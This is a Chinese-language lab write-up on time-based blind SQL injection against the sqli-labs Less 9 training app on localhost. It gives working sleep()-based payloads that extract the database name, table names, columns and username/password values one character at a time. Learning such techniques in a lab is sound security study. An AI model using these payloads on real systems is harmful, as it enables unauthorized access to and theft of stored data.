SQL注入学习——时间盲注详解 sqli-labs(Less 9)
文章目錄
- 前言:
- 一、基礎知識
- 1、時間盲注簡介:
- 2、時間盲注常用的函數:
- 二、Less9 基于時間的單引號盲注
- 1、判斷數據庫名的長度:
- 2、猜測數據庫:
- 3、判斷表名的長度
- 4、猜測 security 的數據表:
- 5、猜測 users 表的列:
- 6、猜測 username 的值:
前言:
今天來總結下時間盲注的知識。
一、基礎知識
1、時間盲注簡介:
時間盲注 和 Bool 盲注很像,區別就是 “參照物” 的不同,Bool 盲注是通過頁面的一些變化來進行判斷結果,但是有時候,執行一些 sql 語句的測試,頁面不會有像布爾盲注那樣直觀的變化,這個時候可以在布爾盲注的基礎上結合 if 判斷和 sleep() 函數來得到一個時間上的延遲參照,也就可以讓我們進行一些判斷。也就是所謂的 “時間盲注”,又叫“延時注入”。
2、時間盲注常用的函數:
if(expr1,expr2,expr3):判斷語句,如果第一個語句正確就執行第二個語句,如果錯誤執行第三個語句 sleep(n) 將程序掛起一段時間 n單位為秒 left(a,b) 從左側截取a的前b位 substr(a,b,c) 從b位置開始,截取字符串a的c長度 mid(a,b,c) 從位置b開始,截取a字符串的c位 length() 返回字符串的長度 Ascii() 將某個字符轉換為ascii值 char() 將ASCII碼轉換為對應的字符直接來看題吧。
二、Less9 基于時間的單引號盲注
嘗試使用單引號、雙引號閉合、?id=1 and 1=2,都發現回顯正常,說明這關對所有信息都做了統一輸出。這時候就要使出最后的殺手锏了——延時注入,先判斷能否延時注入:
等待了好幾秒,說明sleep函數被執行了,即存在延時注入,并且閉合符號為單引號。
還是按照之前的方法繼續盲注:
測試的核心語句是:if(查詢語句,1,sleep(5)),即如果我們的查詢語句為真,那么直接返回結果;如果我們的查詢語句為假,那么過5秒之后返回頁面。所以我們就根據返回頁面的時間長短來判斷我們的查詢語句是否執行正確。
1、判斷數據庫名的長度:
語法:
?id=1' and if(leng(database())=x,1,sleep(5))--+通過變換 x 的值來確定數據庫名的長度,得到數據庫名的長度為8。
2、猜測數據庫:
語法:
?id=1' and if(ascii(substr(database(),x,1))=y,1,sleep(5))--+測試第一位:
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+測得第一位是 s(ascii 碼是 115)
?id=1'and if(ascii(substr(database(),2,1))=101,1,sleep(5))--+得到第二位是 e(ascii 碼是 101)… 以此類推,知道了數據庫名是 security。接下來猜解數據表。
首先要先判斷表的長度
3、判斷表名的長度
語法:
?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,1,sleep(5))--+同理確定所有表名的長度。
4、猜測 security 的數據表:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))--+猜得第一個數據表的第一位是 e,…依次類推,得到 emails
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,1,sleep(5))--+得到第二個數據表的第一位是 r,…依次類推,得到 referers … 再以此類推,我們可以得到所有的數據表 emails,referers,uagents,users。
接下來判斷字段名與數據內容,還是和上面一樣的套路,判斷長度,判斷名字,后面就不再贅述了。
5、猜測 users 表的列:
127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+猜得 users 表的第一個列的第一個字符是 i, 以此類推,得到列名是 id,username,password
6、猜測 username 的值:
127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+猜得 username 的第一行的第一位,以此類推,得到 username,password 字段的所有內容。
以上就是利用 sleep() 函數注入的整個過程。手工注入過程很是繁瑣,可以用二分法提高效率,但大部分情況下都會選擇寫腳本注入。
總結
以上是生活随笔為你收集整理的SQL注入学习——时间盲注详解 sqli-labs(Less 9)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 远程命令执行与代码执行(remote c
- 下一篇: Bugku—web(一)